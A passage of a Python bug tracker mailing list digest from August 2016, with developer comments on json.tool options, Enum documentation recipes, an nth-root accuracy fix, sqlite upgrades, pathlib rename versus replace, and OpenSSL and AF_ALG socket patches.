Message-ID: <1472369495.44.0.266945693977.issue27882@psf.upfronthosting.co.za> Raymond Hettinger added the comment: Also, check your Python version to make sure that you're running Python 3.3 or later. ---------- nosy: +rhettinger status: pending -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 28 03:34:28 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 28 Aug 2016 07:34:28 +0000 Subject: [issue27413] Add an option to json.tool to bypass non-ASCII characters. In-Reply-To: <1467200969.47.0.983958211319.issue27413@psf.upfronthosting.co.za> Message-ID: <1472369668.6.0.506786103513.issue27413@psf.upfronthosting.co.za> Raymond Hettinger added the comment: The patch looks good. If no one else objects soon, I will apply it. ---------- assignee: -> rhettinger nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 28 04:07:30 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 28 Aug 2016 08:07:30 +0000 Subject: [issue27413] Add an option to json.tool to bypass non-ASCII characters. In-Reply-To: <1467200969.47.0.983958211319.issue27413@psf.upfronthosting.co.za> Message-ID: <1472371650.6.0.560243190484.issue27413@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Test fails on non-utf8 locale. $ LC_ALL=en_US ./python -m test.regrtest -v -m test_no_ensure_ascii_flag test_json ... ====================================================================== FAIL: test_no_ensure_ascii_flag (test.test_json.test_tool.TestTool) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/serhiy/py/cpython/Lib/test/test_json/test_tool.py", line 115, in test_no_ensure_ascii_flag self.assertEqual(out.splitlines(), b'"\\u6e2c\\u8a66"\n'.splitlines()) AssertionError: Lists differ: [b'"\\u00e6\\u00b8\\u00ac\\u00e8\\u00a9\\u00a6"'] != [b'"\\u6e2c\\u8a66"'] First differing element 0: b'"\\u00e6\\u00b8\\u00ac\\u00e8\\u00a9\\u00a6"' b'"\\u6e2c\\u8a66"' - [b'"\\u00e6\\u00b8\\u00ac\\u00e8\\u00a9\\u00a6"'] + [b'"\\u6e2c\\u8a66"'] ---------------------------------------------------------------------- ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 28 04:14:05 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 28 Aug 2016 08:14:05 +0000 Subject: [issue27877] Add recipe for "valueless" Enums to docs In-Reply-To: <1472305329.28.0.714722611618.issue27877@psf.upfronthosting.co.za> Message-ID: <1472372045.68.0.867130284401.issue27877@psf.upfronthosting.co.za> Raymond Hettinger added the comment: -0 I concur with OP's observation that "object() returns a new unique value while conveying that that value should not be expected to be used in any meaningful way" and that this recipe could help reinforce that notion. That said, the idiomatic way to communicate this in Python is to use None rather than to create distinct meaningless objects. Also, the motivation seems questionable. Instead of showing a real world case where some confusion exists, there seems to be a general irritation that Enum implementation details differ in some respects from various compiled languages. ISTM, the recipe is aimed at an imagined problem rather than an actual problem -- in a real use case (not a toy Color example), I would expect that if the value field is meaningless, then the use case itself will tend to make it self-evident that there is no reason to access the value field (and if it didn't, I don't see how returning some arbitrary instance of object() would be more informative than returning None.) ---------- nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 28 04:27:10 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 28 Aug 2016 08:27:10 +0000 Subject: [issue27078] Make f'' strings faster than .format: BUILD_STRING opcode? In-Reply-To: <1463858316.54.0.292581402272.issue27078@psf.upfronthosting.co.za> Message-ID: <1472372830.68.0.00742255357788.issue27078@psf.upfronthosting.co.za> Raymond Hettinger added the comment: I put this in the "new feature" category in the sense that after beta we're trying to stabilize the code base. Introducing a new opcode is a higher risk change that needs to go in the release cycle as early as possible. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 28 04:45:43 2016 From: report at bugs.python.org (Wei-Cheng Pan) Date: Sun, 28 Aug 2016 08:45:43 +0000 Subject: [issue27413] Add an option to json.tool to bypass non-ASCII characters. In-Reply-To: <1467200969.47.0.983958211319.issue27413@psf.upfronthosting.co.za> Message-ID: <1472373943.34.0.179902189986.issue27413@psf.upfronthosting.co.za> Wei-Cheng Pan added the comment: 1. Replaced non-ASCII literals to \uXXXX 2. Removed failed assertion Test passed with LC_ALL=en_US and LC_ALL=en_US.UTF-8 . I've tried to use locale.getdefaultlocale(), but seems the output string will vary in different locales. ---------- Added file: https://bugs.python.org/file44246/json-add-an-option-to-bypass-non-ascii-characters-v4.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 28 04:45:51 2016 From: report at bugs.python.org (Wei-Cheng Pan) Date: Sun, 28 Aug 2016 08:45:51 +0000 Subject: [issue27413] Add an option to json.tool to bypass non-ASCII characters. In-Reply-To: <1467200969.47.0.983958211319.issue27413@psf.upfronthosting.co.za> Message-ID: <1472373951.92.0.0739766887374.issue27413@psf.upfronthosting.co.za> Changes by Wei-Cheng Pan : Removed file: https://bugs.python.org/file44243/json-add-an-option-to-bypass-non-ascii-characters-v3.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 28 04:46:18 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 28 Aug 2016 08:46:18 +0000 Subject: [issue27877] Add recipe for "valueless" Enums to docs In-Reply-To: <1472305329.28.0.714722611618.issue27877@psf.upfronthosting.co.za> Message-ID: <1472373978.85.0.587646161212.issue27877@psf.upfronthosting.co.za> Changes by Raymond Hettinger : ---------- Removed message: https://bugs.python.org/msg273815 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 28 04:47:30 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 28 Aug 2016 08:47:30 +0000 Subject: [issue27877] Add recipe for "valueless" Enums to docs In-Reply-To: <1472305329.28.0.714722611618.issue27877@psf.upfronthosting.co.za> Message-ID: <1472374050.75.0.111114721718.issue27877@psf.upfronthosting.co.za> Raymond Hettinger added the comment: After a little more thought, I think this would be a worthwhile recipe and would help communicate the notion that the value has no particular meaning. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 28 04:49:42 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 28 Aug 2016 08:49:42 +0000 Subject: [issue27413] Add an option to json.tool to bypass non-ASCII characters. In-Reply-To: <1467200969.47.0.983958211319.issue27413@psf.upfronthosting.co.za> Message-ID: <1472374182.42.0.362554371141.issue27413@psf.upfronthosting.co.za> Changes by Raymond Hettinger : ---------- assignee: rhettinger -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 28 05:09:22 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 28 Aug 2016 09:09:22 +0000 Subject: [issue27413] Add an option to json.tool to bypass non-ASCII characters. In-Reply-To: <1467200969.47.0.983958211319.issue27413@psf.upfronthosting.co.za> Message-ID: <1472375362.38.0.149745939854.issue27413@psf.upfronthosting.co.za> Changes by Raymond Hettinger : ---------- Removed message: https://bugs.python.org/msg273813 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 28 05:37:33 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 28 Aug 2016 09:37:33 +0000 Subject: [issue27882] Python docs on 9.2 Math module lists math.log2 as function but it does not exist In-Reply-To: <1472358295.58.0.523948529034.issue27882@psf.upfronthosting.co.za> Message-ID: <1472377053.2.0.19227824494.issue27882@psf.upfronthosting.co.za> Changes by Serhiy Storchaka : ---------- status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 28 06:23:47 2016 From: report at bugs.python.org (Berker Peksag) Date: Sun, 28 Aug 2016 10:23:47 +0000 Subject: [issue27413] Add an option to json.tool to bypass non-ASCII characters. In-Reply-To: <1467200969.47.0.983958211319.issue27413@psf.upfronthosting.co.za> Message-ID: <1472379827.42.0.361653135928.issue27413@psf.upfronthosting.co.za> Berker Peksag added the comment: > If I'm not misreading your comment, this will change the original behavior, right? Assuming you also change ensure_ascii = not options.no_ensure_ascii to ensure_ascii = options.no_ensure_ascii no, it won't change the original behavior. That way you won't need to invert the value of ``options.no_ensure_ascii`` in line 37. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 28 06:29:14 2016 From: report at bugs.python.org (Xiang Zhang) Date: Sun, 28 Aug 2016 10:29:14 +0000 Subject: [issue27881] Fix possible bugs when setting sqlite3.Connection.isolation_level In-Reply-To: <1472325689.42.0.337900232121.issue27881@psf.upfronthosting.co.za> Message-ID: <1472380154.07.0.947157877115.issue27881@psf.upfronthosting.co.za> Xiang Zhang added the comment: issue27881.patch tires to solve this. Hope to get feedback. ---------- keywords: +patch Added file: https://bugs.python.org/file44247/issue27881.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 28 06:38:18 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 28 Aug 2016 10:38:18 +0000 Subject: [issue27881] Fix possible bugs when setting sqlite3.Connection.isolation_level In-Reply-To: <1472325689.42.0.337900232121.issue27881@psf.upfronthosting.co.za> Message-ID: <1472380698.52.0.752032212566.issue27881@psf.upfronthosting.co.za> Changes by Serhiy Storchaka : ---------- assignee: -> serhiy.storchaka stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 28 07:18:09 2016 From: report at bugs.python.org (Big Stone) Date: Sun, 28 Aug 2016 11:18:09 +0000 Subject: [issue27883] sqlite-3.14.1 for Python_3.6.0b1 ? Message-ID: <1472383089.76.0.501181258195.issue27883@psf.upfronthosting.co.za> New submission from Big Stone: Sqlite-3.14.1 includes a lot of fixes since sqlite-38.11, including some for windows ;-) . it would be nice to upgrade ---------- components: Windows messages: 273821 nosy: Big Stone, paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal status: open title: sqlite-3.14.1 for Python_3.6.0b1 ? type: enhancement versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 28 09:11:29 2016 From: report at bugs.python.org (STINNER Victor) Date: Sun, 28 Aug 2016 13:11:29 +0000 Subject: [issue27761] Private _nth_root function loses accuracy In-Reply-To: <1472356894.09.0.127033708669.issue27761@psf.upfronthosting.co.za> Message-ID: STINNER Victor added the comment: Hum, "g = D(x**(1.0/n))" computes a float and then convert it to a decimal, right? Can we please add comments to explain why you start with float, compute decimal and finish with float? And maybe also document the algorithm? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 28 10:44:47 2016 From: report at bugs.python.org (Big Stone) Date: Sun, 28 Aug 2016 14:44:47 +0000 Subject: [issue27883] sqlite-3.14.1 for Python_3.6.0b1 ? In-Reply-To: <1472383089.76.0.501181258195.issue27883@psf.upfronthosting.co.za> Message-ID: <1472395487.62.0.800255019509.issue27883@psf.upfronthosting.co.za> Big Stone added the comment: remark: since sqlite 3.11.0, sqlite.org default sqlite3.dll includes FTS3, FTS5, RTREE, DBSTAT, JSON1, and RBU extensions, causing sqlite3.dll to jump to 1646Ko size instead of 756Ko current (windows 64). This works well over Python3.5.2 64 bit, but you may prefer a version with not all these extensions. I don't know the respective size of each one. the JSON1 extension would be nice if we can keep it: - web technology, - similar to postgresql, so good to go at schools. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 28 10:53:14 2016 From: report at bugs.python.org (Matt Morrison) Date: Sun, 28 Aug 2016 14:53:14 +0000 Subject: [issue27884] during 'make install', pre-existing site-packages residents are recompiled. Twice. Message-ID: <1472395994.03.0.200605981398.issue27884@psf.upfronthosting.co.za> New submission from Matt Morrison: I've been building Python 3 from source on Linux for a long time (at least since 3.2 days), and I honestly can't remember if this has happened before 3.6 or not, which is why I'm only tagging this 3.6. Basically, when running 'make install' (after building either static or shared, I haven't been messing around with any other options except install prefix - $HOME) you'll start seeing messages like: ===== Listing '/home/mattdmo/lib/python3.6/site-packages/statsmodels/sandbox/regression'... Compiling '/home/mattdmo/lib/python3.6/site-packages/statsmodels/sandbox/regression/__init__.py'... Compiling '/home/mattdmo/lib/python3.6/site-packages/statsmodels/sandbox/regression/anova_nistcertified.py'... Compiling '/home/mattdmo/lib/python3.6/site-packages/statsmodels/sandbox/regression/ar_panel.py'... Compiling '/home/mattdmo/lib/python3.6/site-packages/statsmodels/sandbox/regression/example_kernridge.py'... Compiling '/home/mattdmo/lib/python3.6/site-packages/statsmodels/sandbox/regression/gmm.py'... Compiling '/home/mattdmo/lib/python3.6/site-packages/statsmodels/sandbox/regression/kernridgeregress_class.py'... Compiling '/home/mattdmo/lib/python3.6/site-packages/statsmodels/sandbox/regression/ols_anova_original.py'... Compiling '/home/mattdmo/lib/python3.6/site-packages/statsmodels/sandbox/regression/onewaygls.py'... Compiling '/home/mattdmo/lib/python3.6/site-packages/statsmodels/sandbox/regression/penalized.py'... Compiling '/home/mattdmo/lib/python3.6/site-packages/statsmodels/sandbox/regression/predstd.py'... Compiling '/home/mattdmo/lib/python3.6/site-packages/statsmodels/sandbox/regression/runmnl.py'... Compiling '/home/mattdmo/lib/python3.6/site-packages/statsmodels/sandbox/regression/sympy_diff.py'... Listing '/home/mattdmo/lib/python3.6/site-packages/statsmodels/sandbox/regression/tests'... Compiling '/home/mattdmo/lib/python3.6/site-packages/statsmodels/sandbox/regression/tests/__init__.py'... ===== and on and on and on. I usually don't pay much attention to them, but since I have nothing better to do I just stare idly at them and watch as all my third-party modules in 'site-packages' scroll by in alphabetical order very quickly. For the last few builds of 3.6, though, I've noticed that the modules get gone through twice. I have a pretty large number of modules (341, according to `ls | wc -l`), so it takes a while to go through them, and they're definitely being repeated. Unfortunately, I don't know a whole lot about Makefiles or the internals of the installation process, so I don't have the slightest idea of where to begin even looking for the bug. But, I bet you ladies and gentlemen do :) If it's necessary, I can rebuild and pipe all the output into a file for you to examine. Just let me know. ---------- components: Build, Extension Modules, Installation messages: 273824 nosy: MattDMo priority: normal severity: normal status: open title: during 'make install', pre-existing site-packages residents are recompiled. Twice. versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 28 11:09:22 2016 From: report at bugs.python.org (R. David Murray) Date: Sun, 28 Aug 2016 15:09:22 +0000 Subject: [issue27884] during 'make install', pre-existing site-packages residents are recompiled. Twice. In-Reply-To: <1472395994.03.0.200605981398.issue27884@psf.upfronthosting.co.za> Message-ID: <1472396962.78.0.235404154669.issue27884@psf.upfronthosting.co.za> R. David Murray added the comment: As far as I can tell, this is working as designed, and in fact you ought to see site-packages getting compiled *three* times (normal, -O, and -OO). I wonder if this is a holdover from when we didn't have per-interpreter pyc files, and its just that no one noticed the need for recompile of site-packages didn't exist any more. On the other hand, I may be missing some piece of logic that means that it is still needed. ---------- nosy: +r.david.murray _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 28 11:42:34 2016 From: report at bugs.python.org (Tim Peters) Date: Sun, 28 Aug 2016 15:42:34 +0000 Subject: [issue27761] Private _nth_root function loses accuracy In-Reply-To: <1471141583.56.0.32662922065.issue27761@psf.upfronthosting.co.za> Message-ID: <1472398954.58.0.0945750122141.issue27761@psf.upfronthosting.co.za> Tim Peters added the comment: Victor, happy to add comments, but only if there's sufficient interest in actually using this. In the context of this issue report, it's really only important that Mark understands it, and he already does ;-) For example, it starts with float `**` because that's by far the fastest way to get a very good approximation. Then it switches to Decimal to perform a Newton step using greater-than-float precision, which is necessary to absorb rounding errors in intermediate steps. Then it rounds back to float, because it has to - it's a "float in, float out" function. It's for the same reason, e.g., that Mark's `nroot` converts floats to potentially gigantic integers for its Newton step(s), and my other `fractions.Fraction` function converts floats to potentially gigantic rationals. "Potentially gigantic" may be necessary to guarantee always-correct rounding of the final result, but isn't necessary to guarantee < 1 ulp error in the final result. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 28 12:08:16 2016 From: report at bugs.python.org (Steven D'Aprano) Date: Sun, 28 Aug 2016 16:08:16 +0000 Subject: [issue27761] Private _nth_root function loses accuracy In-Reply-To: <1472398954.58.0.0945750122141.issue27761@psf.upfronthosting.co.za> Message-ID: <20160828160810.GX26300@ando.pearwood.info> Steven D'Aprano added the comment: This has been really eye-opening, and I just wanted to drop you a note that I am watching this thread carefully. My first priority is to get the tests all passing before beta 1 on 2016-09-12, even if (as seems likely) that means weakening the tests, and then come back and see if we can tighten it up again later. I haven't checked it in yet, but I've already managed to simplify the nth_root code by taking Tim's advice that more than one iteration of Newton's method is a waste of time. Thanks! Can somebody comment on my reasoning here? I start by taking an initial guess for the root by using r = pow(x, 1.0/n). Then I test if r**n == x, if it does I conclude that r is either the exact root, or as close as representable as a float, and just return it without bothering with even one iteration. Sensible? Or should I just always run one iteration of Newton and trust that it won't make things worse? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 28 12:23:32 2016 From: report at bugs.python.org (Nick Coghlan) Date: Sun, 28 Aug 2016 16:23:32 +0000 Subject: [issue27051] Create PIP gui In-Reply-To: <1463550469.55.0.680424350053.issue27051@psf.upfronthosting.co.za> Message-ID: <1472401412.68.0.162264126494.issue27051@psf.upfronthosting.co.za> Nick Coghlan added the comment: As David hinted at, the pip GUI should *not* support privilege escalation on Linux - needing to do so indicates someone is attempting to install into the system Python, and the GUI should never do that. If there's no active virtual environment, it should do a user install by default. (The only reason pip doesn't work that way by default is due to backwards compatibility constraints affecting tools that assume that root can install into system Python installations without any additional flags) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 28 12:27:53 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 28 Aug 2016 16:27:53 +0000 Subject: [issue27761] Private _nth_root function loses accuracy In-Reply-To: <1471141583.56.0.32662922065.issue27761@psf.upfronthosting.co.za> Message-ID: <1472401673.1.0.416658723796.issue27761@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Wouldn't following implementation be faster? import decimal c = decimal.DefaultContext.copy() c.prec = 25 def rootn(x, n, D=decimal.Decimal, sub=c.subtract, mul=c.multiply, log=c.ln): g = x ** (1.0/n) g += float(sub(log(D(x)), mul(log(D(g)), D(n)))) * g / n return g del decimal, c ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 28 12:43:08 2016 From: report at bugs.python.org (Decorater) Date: Sun, 28 Aug 2016 16:43:08 +0000 Subject: [issue27885] Add a Crypto++ Wrapper for when Someone needs to use Crypto++ things outside of C++, e.g. in Python Code Message-ID: <1472402587.99.0.582453342387.issue27885@psf.upfronthosting.co.za> New submission from Decorater: So, I have Python Code that would be nice if the interpreter had a built in Crypto++ support. I am Suggesting for 3.6 to Add in this as it would be helpful for any Python Developer to do something like: import cryptopp And then doing the functiosn that Crpyto++ Provides for some needed and good Encryption Techniques that zlib lacks and hey the cool stuff is that Crypto++ Can be used after zlib is used so it can be beneficial to many people as it can save soem file sizes. Also Crypto++ Seems to have some things that zlib has as well like Deflate, Adler32, CRC, etc. So that makes zlib not be the only thing to compute checksums. Useful Links: http://www.cryptopp.com/ https://github.com/weidai11/cryptopp Hopefully something like this could be possible but I do not see why not as it was done for zlib. I have no idea if crypto++ is windows only though but it is worth a test to find out. ---------- components: Extension Modules, Library (Lib) messages: 273830 nosy: Decorater priority: normal severity: normal status: open title: Add a Crypto++ Wrapper for when Someone needs to use Crypto++ things outside of C++, e.g. in Python Code type: enhancement versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 28 12:49:37 2016 From: report at bugs.python.org (R. David Murray) Date: Sun, 28 Aug 2016 16:49:37 +0000 Subject: [issue27885] Add a Crypto++ Wrapper for when Someone needs to use Crypto++ things outside of C++, e.g. in Python Code In-Reply-To: <1472402587.99.0.582453342387.issue27885@psf.upfronthosting.co.za> Message-ID: <1472402977.01.0.433454247409.issue27885@psf.upfronthosting.co.za> R. David Murray added the comment: This kind of thing should be a pypi package. The process for getting something included in the standard library includes it being available on pypi, as well as a widespread need for the functionality, and even then it is not easy to get something included. There have been various discussions around crypto support in the stdlib, so anything along these lines need to be part of that wider discussion, mostly likely on python-ideas (I'm sure there must be previous threads there about crypto). (As an aside: 3.6 beta is in two weeks, so there'd be no time even if this was a good idea.) ---------- nosy: +r.david.murray resolution: -> rejected stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 28 12:52:02 2016 From: report at bugs.python.org (R. David Murray) Date: Sun, 28 Aug 2016 16:52:02 +0000 Subject: [issue27885] Add a Crypto++ Wrapper for when Someone needs to use Crypto++ things outside of C++, e.g. in Python Code In-Reply-To: <1472402587.99.0.582453342387.issue27885@psf.upfronthosting.co.za> Message-ID: <1472403122.68.0.035600937814.issue27885@psf.upfronthosting.co.za> R. David Murray added the comment: And, not surprisingly, the pypi package already exists: https://pypi.python.org/pypi/pycryptopp/0.7.1.869544967005693312591928092448767568728501330214 The rest of my comment stands. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 28 13:49:44 2016 From: report at bugs.python.org (Tim Peters) Date: Sun, 28 Aug 2016 17:49:44 +0000 Subject: [issue27761] Private _nth_root function loses accuracy In-Reply-To: <1471141583.56.0.32662922065.issue27761@psf.upfronthosting.co.za> Message-ID: <1472406584.58.0.822285355809.issue27761@psf.upfronthosting.co.za> Tim Peters added the comment: That's clever, Serhiy! Where did it come from? It's not Newton's method, but it also appears to enjoy quadratic convergence. As to speed, why are you asking? You should be able to time it, yes? On my box, it's about 6 times slower than the last code I posted. I assume (but don't know) that's because + - * / have trivial cost compared to power() and ln(), and your code uses two ln() while the last code I posted uses only one power(). Also, my power() has an exact integer exponent, which - for whatever reasons - appears to run much faster than using a non-integer Decimal exponent. It's for the latter reason that I didn't suggest just doing `return float(D(x) ** (D(1)/n))` (much slower). Or maybe it's "a platform thing". FYI, I'm using the released Python 3.5.2 on 64-bit Win 10 Pro. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 28 14:08:10 2016 From: report at bugs.python.org (Tim Peters) Date: Sun, 28 Aug 2016 18:08:10 +0000 Subject: [issue27761] Private _nth_root function loses accuracy In-Reply-To: <1471141583.56.0.32662922065.issue27761@psf.upfronthosting.co.za> Message-ID: <1472407690.88.0.101608161536.issue27761@psf.upfronthosting.co.za> Tim Peters added the comment: Steven, you certainly _can_ ;-) check first whether `r**n == x`, but can you prove `r` is the best possible result when it's true? Offhand, I can't. I question it because it rarely seems to _be_ true (in well less than 1% of the random-ish test cases I tried). An expensive test that's rarely true tends to make things slower overall rather than faster. As to whether a Newton step won't make things worse, that requires seeing the exact code you're using. There are many mathematically equivalent ways to code "a Newton step" that have different numeric behavior. If for some unfathomable (to me) reason you're determined to stick to native precision, then - generally speaking - the numerically best way to do "a correction step" is to code it in the form: r += correction # where `correction` is small compared to `r` Coding a Newton step here as, e.g., `r = ((n-1)*r + x/r**(n-1))/n` in native precision would be essentially useless: multiple rounding errors show up in the result's last few bits, but the last few bits are the only ones we're _trying_ to correct. When `correction` is small compared to `r` in `r += correction`, the rounding errors in the computation of `correction` show up in correction's last few bits, which are far removed from `r`'s last few bits (_because_ `correction` is small compared to `r`). So that way of writing it _may_ be helpful. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 28 14:38:23 2016 From: report at bugs.python.org (John Hagen) Date: Sun, 28 Aug 2016 18:38:23 +0000 Subject: [issue27877] Add recipe for "valueless" Enums to docs In-Reply-To: <1472305329.28.0.714722611618.issue27877@psf.upfronthosting.co.za> Message-ID: <1472409503.93.0.858184069004.issue27877@psf.upfronthosting.co.za> John Hagen added the comment: Raymond, thanks for your consideration and input. I'll work on a small patch unless I hear from Ethan that he'd rather do it. I'm happy to defer to his expertise. I did try out None as a value just to be sure that that didn't work as it would not be a bad alternative. But since the values are "equal", Enum tries to alias them. import enum @enum.unique class Color(enum.Enum): red = None green = None blue = None >>> ValueError: duplicate values found in : green -> red, blue -> red ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 28 15:07:12 2016 From: report at bugs.python.org (Andrew Svetlov) Date: Sun, 28 Aug 2016 19:07:12 +0000 Subject: [issue27886] Docs: the difference between rename and replace is not obvious Message-ID: <1472411232.42.0.47360960084.issue27886@psf.upfronthosting.co.za> New submission from Andrew Svetlov: Hi. On reading the doc for pathlib I've stuck with `.rename()` and `.replace()` (https://docs.python.org/3/library/pathlib.html#pathlib.Path.rename). What's the difference? Going to pathlib's source code I've figured out that methods are use different functions from `os` module: `os.rename()` and `os.replace()`. But the documentation for `os` module is not obvious too: the docs for both functions are almost equal from my perspective, the only significant difference is that `os.rename()` suggests to use `os.replace()` for cross-compatibility. Could anybody explain the difference? Also, at least the doc for `pathlib.Path.rename` worth to have a sentence like borrowed from `os.rename`: "If you want cross-platform overwriting of the destination, use replace()." ---------- assignee: docs at python components: Documentation keywords: easy messages: 273836 nosy: asvetlov, docs at python, pitrou priority: low severity: normal status: open title: Docs: the difference between rename and replace is not obvious type: behavior versions: Python 3.4, Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 28 15:22:45 2016 From: report at bugs.python.org (Christian Heimes) Date: Sun, 28 Aug 2016 19:22:45 +0000 Subject: [issue26470] Make OpenSSL module compatible with OpenSSL 1.1.0 In-Reply-To: <1456920893.87.0.933592382559.issue26470@psf.upfronthosting.co.za> Message-ID: <1472412165.01.0.27226081757.issue26470@psf.upfronthosting.co.za> Christian Heimes added the comment: Thanks Alex, I ported the Python and C code to 2.7 but forgot to address doc updates. You can find an updated patch on github: https://github.com/python/cpython/compare/2.7...tiran:feature/openssl110_27 I'll submit a new patch after your review. Chi Hsuan Yen, I'll update remaining documentation later. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 28 15:37:42 2016 From: report at bugs.python.org (Christian Heimes) Date: Sun, 28 Aug 2016 19:37:42 +0000 Subject: [issue27744] Add AF_ALG (Linux Kernel crypto) to socket module In-Reply-To: <1470997290.77.0.995104201782.issue27744@psf.upfronthosting.co.za> Message-ID: <1472413062.9.0.478298531594.issue27744@psf.upfronthosting.co.za> Christian Heimes added the comment: New patch with setsockopt(socket.SOL_ALG, socket.ALG_SET_AEAD_AUTHSIZE, None, taglen) instead of (None, taglen). ---------- Added file: https://bugs.python.org/file44248/AF_ALG-kernel-crypto-support-for-socket-module-2.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 28 15:38:35 2016 From: report at bugs.python.org (R. David Murray) Date: Sun, 28 Aug 2016 19:38:35 +0000 Subject: [issue27886] Docs: the difference between rename and replace is not obvious In-Reply-To: <1472411232.42.0.47360960084.issue27886@psf.upfronthosting.co.za> Message-ID: <1472413115.19.0.52282610743.issue27886@psf.upfronthosting.co.za> R. David Murray added the comment: The existing docs are pretty clear on the difference: rename is only guaranteed to replace an existing file on unix (which I think means posix in this context), whereas replace always replaces the file, regardless of platform. I'm actually surprised that rename is even part of the pathlib API, since its cross platform behavior is not consistent. It also seems as though the replace docs are incorrect, since they imply directories are replaced, but the os docs say they are not. The "this is a posix requirement" note in os.replace also seems imprecise. Windows is not posix, so that note leaves me wondering if replace is atomic on Windows or not. That should be clarified one way or another. I think adding the cross platform note in the pathlib docs is reasonable, since it addresses the question of why there are two similar functions. ---------- nosy: +r.david.murray _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 28 15:38:47 2016 From: report at bugs.python.org (R. David Murray) Date: Sun, 28 Aug 2016 19:38:47 +0000 Subject: [issue27886] Docs: the difference between rename and replace is not obvious In-Reply-To: <1472411232.42.0.47360960084.issue27886@psf.upfronthosting.co.za> Message-ID: <1472413127.53.0.416630180562.issue27886@psf.upfronthosting.co.za> Changes by R. David Murray : ---------- versions: -Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 28 16:03:34 2016 From: report at bugs.python.org (Andrew Svetlov) Date: Sun, 28 Aug 2016 20:03:34 +0000 Subject: [issue27886] Docs: the difference between rename and replace is not obvious In-Reply-To: <1472411232.42.0.47360960084.issue27886@psf.upfronthosting.co.za> Message-ID: <1472414614.15.0.405849285123.issue27886@psf.upfronthosting.co.za> Andrew Svetlov added the comment: Just keeping the reference to `os.rename()`: https://docs.python.org/3/library/os.html#os.rename Aha, `os.rename` says: "On Unix, if dst exists and is a file, it will be replaced silently if the user has permission." and "On Windows, if dst already exists, OSError will be raised even if it is a file." Sorry, I've missed this. Maybe it worth to add `.. warning:` section for both `os.rename` and `pathlib.Path.rename`? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 28 16:05:48 2016 From: report at bugs.python.org (R. David Murray) Date: Sun, 28 Aug 2016 20:05:48 +0000 Subject: [issue27886] Docs: the difference between rename and replace is not obvious In-Reply-To: <1472411232.42.0.47360960084.issue27886@psf.upfronthosting.co.za> Message-ID: <1472414748.59.0.0517273162174.issue27886@psf.upfronthosting.co.za> R. David Murray added the comment: No, we don't like to overuse warnings. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 28 17:03:40 2016 From: report at bugs.python.org (John Hagen) Date: Sun, 28 Aug 2016 21:03:40 +0000 Subject: [issue27877] Add recipe for "valueless" Enums to docs In-Reply-To: <1472305329.28.0.714722611618.issue27877@psf.upfronthosting.co.za> Message-ID: <1472418220.91.0.254626028182.issue27877@psf.upfronthosting.co.za> John Hagen added the comment: Patch attached. ---------- keywords: +patch Added file: https://bugs.python.org/file44249/issue27877.johnthagen.01.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 28 17:35:25 2016 From: report at bugs.python.org (STINNER Victor) Date: Sun, 28 Aug 2016 21:35:25 +0000 Subject: [issue27761] Private _nth_root function loses accuracy In-Reply-To: 